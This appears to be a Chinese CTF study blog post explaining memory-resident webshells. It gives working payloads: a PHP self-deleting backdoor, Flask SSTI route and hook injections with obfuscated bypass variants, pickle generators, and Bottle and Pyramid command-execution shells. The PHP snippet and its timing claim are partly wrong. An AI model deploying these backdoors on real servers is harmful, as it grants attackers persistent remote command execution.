内存马

一、前言

​ gh遇到了内存马的相关内容,这里好好学习一下相关内容

二、内存马是什么?

内存马是一种无文件攻击手段,主要通过在内存中写入恶意代码来实现对Web服务器的远程控制。

​ 大家熟知的一句话木马是一种有文件的木马,是需要有文件落地,才能进行rce的。如果删除了文件,就失去了shell。但是内存马不一样。内存马无文件落地,利用中间件的进程执行恶意代码。

大致原理

​ 内存马的原理大概就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码

​ 简单来说,就是自定义一个路由,路由里调用一个函数,然后这个函数执行了什么内容,返回什么内容,都由你自己决定。记住这段话,在后续的学习中会有更深的理解

三、内存马的类别

​ 根据网页源码的脚本语言,内存马也有不同的类别,网上较多的是java内存马,不过小登我没打进过线下赛,java内存马还是之后再补,这里讲一下php和python的内存马

php不死马

(在靶场注入的时候把靶场搞崩了,所以不死马没有实例截图)

原理

php不死马是通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = <?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST['a'];)} ?>’;
file_put_contents("1.php", $content);
usleep(10000);
}
?>

我们来分析一下代码:

set_time_limit(0)函数:设置允许脚本运行的时间,单位为秒,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。

ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行。即使用户在浏览器中停止加载页面,脚本仍然会继续执行。

unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)

然后是while循环

1
2
$content = ‘<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST['a'];)} ?>’;
file_put_contents("1.php", $content);

上传1.php,内容是,检查通过get请求传递的pass参数的md5值是否等于"098f6bcd4621d373cade4e832627b4f6"如果通过,那么就可以执行eval函数

(这里加一个md5值是为了防止木马别别的队伍利用,加密前为test)

**usleep(10000):**等待1秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。

小结

php不死马的利用情况很少,一般文件上传的题目也不用不到,这里也就是简单学习一下,可以更深入理解内存马

python flask 内存马

原理

​ 底层原理就是下面这个函数,这里不多赘述,详情可见ssti篇

1
render_template_string()

​ 然后要实现内存马的话需要注册一层路由,我们看看实现代码

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

下面是使用实例

image-20250512235736028

​ 我们来解释一下这个代码的原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

首先是

url_for.__globals__['__ builtins __']['eval']

url_forFlask的一个内置函数, 通过Flask内置函数可以调用其__globals__属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules, 可以看到这里是支持__builtins__的。(就像ssti一样)

​ 之后就可以通过__builtins__这个modules进行命令执行,也是ssti的内容,这里不多赘述

接下来是

app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())

​ 这段代码实现了动态添加路由,处理该路由的函数是一个由lambda关键字定义的匿名函数,那么lambda是个什么东西呢

​ 我们先了解一下flask框架的路由注册

​ 首先,它是由@app.route()装饰器实现的,查看源码发现调用了add_url_rule函数来添加路由

image-20250513112956464

再跟进,查看add_url_rule函数的代码,其参数说明如下:

​ rule: 函数对应的URL规则, 满足条件和app.route的第一个参数一样, 必须以/开头.(我们pyload传入/shell,注册url路由/shell)

​ endpoint: 端点, 即在使用url_for进行反转的时候, 这里传入的第一个参数就是endpoint对应的值, 这个值也可以不指定, 默认就会使用函数的名字作为endpoint的值.(pyload传入shell,端点名为shell)

​ view_func: URL对应的函数, 这里只需写函数名字而不用加括号.(pyload传入lambda作为处理逻辑)

​ provide_automatic_options: 控制是否应自动添加选项方法.(未传)

​ options: 要转发到基础规则对象的选项.(未传)

​ 最后是

lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()

​ 这里lambda匿名函数, 其中通过os库的popen函数执行从GET请求中获取的cmd参数值并返回结果, 其中该参数值默认为whoami

​ 然后是 '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}

_request_ctx_stackFlask的一个全局变量, 是一个LocalStack实例,记住这个stack

​ 这里我们引入一下flask请求上下文管理机制

​ 在Python中分出了两种上下文: 请求上下文(request context)、应用上下文(session context)。当网页请求进入Flask时, 会实例化一个Request Context. 一个请求上下文中封装了请求的信息, 而上下文的结构是运用了一个Stack的栈结构, 也就是说它拥有一个栈所拥有的全部特性。Request context实例化后会被push到栈_request_ctx_stack中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的请求.

​ 回到代码中,这段代码主要是指明所需变量的全局命名空间,保证app_request_ctx_stack都能被找到,关于app的解释放在将bottle内存马那里。

​ 至此pyload的逻辑大致就清晰了。

绕过

​ 实际应用的话往往都存在过滤,因为是ssti的变种,所以绕过方式和ssti大差不差。

​ 值得一提的是

url_for可替换为get_flashed_messages或者request.__init__或者request.application

​ 最后给出两个变种pyload

1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})
1
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

新版Flask内存马

在极客2024的复现中遇到了pickle打内存马的,而且老版的add_url_rule函数已经不支持用于注册路由了,来记录一下

首先是ssti的

用了after_request钩子函数在当前页面添加恶意回调函数,在每次请求过后都会调用一次。

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
1
2
3
4
5
6
7
8
9
{{ 
  url_for.__globals__['__builtins__']['eval'](
    "app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",
    {
      'request': url_for.__globals__['request'],
      'app': url_for.__globals__['sys'].modules['__main__'].__dict__['app']
    }
  )
}}

我们来解析一下:

首先是url_for.__globals__['__builtins__']['eval']这个就不多说了。

然后是包裹在cmd中的app.after_request_funcs.setdefault(None, []).append(...) 这个函数解析如下,作用是注册后处理钩子

  • after_request_funcs:Flask 的请求后处理回调列表
  • setdefault(None, []):为全局回调创建空列表
  • append(...):添加恶意回调函数

然后就是添加的回调函数lambda,内容是如果存在cmd参数并,返回带有命令执行的响应,若不存在cmd参数,就返回原来的参数。

当然不止这一种钩子函数可以用,也可以通过error_handler注册所有404页面成为内存马,太帅了

1
{{url_for.__globals__['__builtins__']['eval']("exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
1
2
3
4
{{ url_for.__globals__['__builtins__']['eval'](
    "exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")",
    {'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']}
) }}

直接分析exec中的部分

exc_class, code = app._get_exc_class_and_code(404);

  • 作用:获取处理 HTTP 404 错误所需的具体异常类和状态码。
  • app:就是前面获取的 Flask 应用实例。
  • _get_exc_class_and_code(404):这是 Flask 的一个内部方法。调用它会返回一个元组,例如 (werkzeug.exceptions.NotFound, 404)
  • 所以,执行后 exc_class 变量会是 NotFound 这个异常类,code 变量会是整数 404

app.error_handler_spec[None][code][exc_class] = ...

  • 作用:定位并准备覆盖 Flask 的 404 错误处理器。
  • app.error_handler_spec:这是 Flask 内部用来存储所有错误处理函数的一个字典。它的结构大致是 [蓝图名称][状态码][异常类]
  • [None]:表示我们修改的是全局的错误处理器,而不是某个特定蓝图(Blueprint)的。
  • [code]:就是 [404]
  • [exc_class]:就是 [werkzeug.exceptions.NotFound]
  • 连起来看:这行代码精确定位到了 Flask 应用中负责处理“404 Not Found”错误的那个函数指针。

= lambda a: __import__('os').popen(request.args.get('cmd')).read()

这个比较简单就不讲了

当然有after_request就有before_request,这里尝试照葫芦画瓢手搓一下

1
2
3
4
5
6
7
8
9
{{ 
  url_for.__globals__['__builtins__']['eval'](
    "app.before_request_funcs.setdefault(None, []).append(lambda: request.args.get('cmd') and __import__('os').popen(request.args.get('cmd')).read())",
    {
      'request': url_for.__globals__['request'],
      'app': url_for.__globals__['sys'].modules['__main__'].__dict__['app']
    }
  )
}}

然后是通过pickle实现,这里就直接贴代码了,实现思路也大差不差。

error_handler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

after_request

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('shell') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

before_request

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

小结

​ python flask 内存马到这也就差不多了,主要能使用的地方是一些无回显的ssti,或者反序列化,可以搭配packle反序列化一起食用。最后附上文章

Python 内存马分析-先知社区

python bottle ssti内存马

​ 不同的框架,内存马的格式也不一样,先简单介绍一下bottle框架

bottle框架漏洞

bottle是一个轻量级的 Python Web单文件框架,仅包含一个 py文件,不依赖外部库,适用于小型 Web 应用和嵌入式系统开发。它提供了路由、模板、请求处理等基本功能,适合快速构建简单的 Web 应用。

​ bottle的安全问题主要是因为在SimpleTemplate模板引擎的使用上

SimpleTemplate模板下执行代码有以下几种方式:

{{}} 花括号 只能执行单行表达式。 但是不用分隔符分隔

1
  {{ __import__('os').popen('whoami').read() }}

{{! }} 只能执行单行表达式。也不用分隔符分隔

1
{{!__import__('os').popen('whoami').read() }}

换行后% 之后换行与html分割

1
% __import__('os').system('calc')

执行多行python表达式如下:

1
% import os  % os.system("id")

**<% ···%>**块级代码

1
<%    import os    os.system("id")  %>

​ 用这些包裹ssti的pyload就可以在bottle框架中进行ssti了

原理

​ 先给个实例,这里用代码打或者抓包再自行编码才行,直接打进去的直接把环境打爆了

image-20250514152358510

image-20250514150935788

image-20250514150824553

​ 给个pyload

1
2
3
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read())

​ 根据上文写的换行后% 代码注入方式,我们写入内存马。

​ 首先是引用bottle库

​ 然后获取app,看看ai的解释。

image-20250514144749971

​ 最后的用lambda匿名函数的话也很简单,上文也详细的讲过。

小结

​ 所以bottle的内存马还是比较简单的,就到这里为止

python Pyramid 内存马

​ 打tg复现的时候遇到了,这里学习一下

原理

​ 还是先贴payload

1
config.add_route('shell_route','/shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='shell_route');app = config.make_wsgi_app()

​ 不一样的是这里并不是模板注入而是exec()的利用,用于打无回显。

​ 首先

config.add_route('shell_route', '/shell');

​ 用于添加一段路由,名字是shell_route,绑定到/shell。

​ 然后是

1
2
3
4
5
6
config.add_view(
    lambda request: Response(
        __import__('os').popen(request.params.get('cmd')).read()
    ),
    route_name='shell_route'
);

为路由添加处理函数

lambda request: Response:用lambda匿名函数直接处理请求并返回结果

__import__('os').popen(request.params.get('cmd')).read():用于get参数cmd,实现rce

最后 route_name='shell_route'没什么好说的

这里是一个很简易的内存马,还有一个比较复杂的,不过关键点是一样的

1
2
3
4
5
6
7
8
9
import sys

from pyramid.response import Response

config = sys.modules['__main__'].config
app=sys.modules['__main__'].app;print(config)
config.add_route('shell', '/shell')
config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell')
app = config.make_wsgi_app()

主要是多了以下几条

import sys:这行代码导入了Python的标准库模块sys,用于访问与Python解释器紧密相关的变量和函数。

from pyramid.response import Response

上面两个是引用库

config = sys.modules['__main__'].config:这当前运行环境中存在名为config的对象,并且它是全局命名空间的一部分(即位于__main__模块中)。config对象通常用于存储应用程序配置信息,在Pyramid框架中,它还负责定义应用的行为,如路由规则等。 app=sys.modules['__main__'].app;print(config):类似地,app也被认为是在全局命名空间中存在的一个变量,代表了WSGI兼容的应用实例。WSGI(Web Server Gateway Interface)是一种用于Python web应用和服务之间通信的标准接口。

这两个是定义config和app

app = config.make_wsgi_app():最后,这行代码调用了config上的make_wsgi_app方法,创建了一个新的WSGI应用实例,并将其赋值给app变量。这一步骤完成了应用的构建过程。

具体实例可以移步tgctf复现。

小结:

​ 整体上差别不大,但是还是需要好好学习一下。

四、后语

​ 内存马就暂时结束了,最后大头的java内存马就放到以后再学习。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计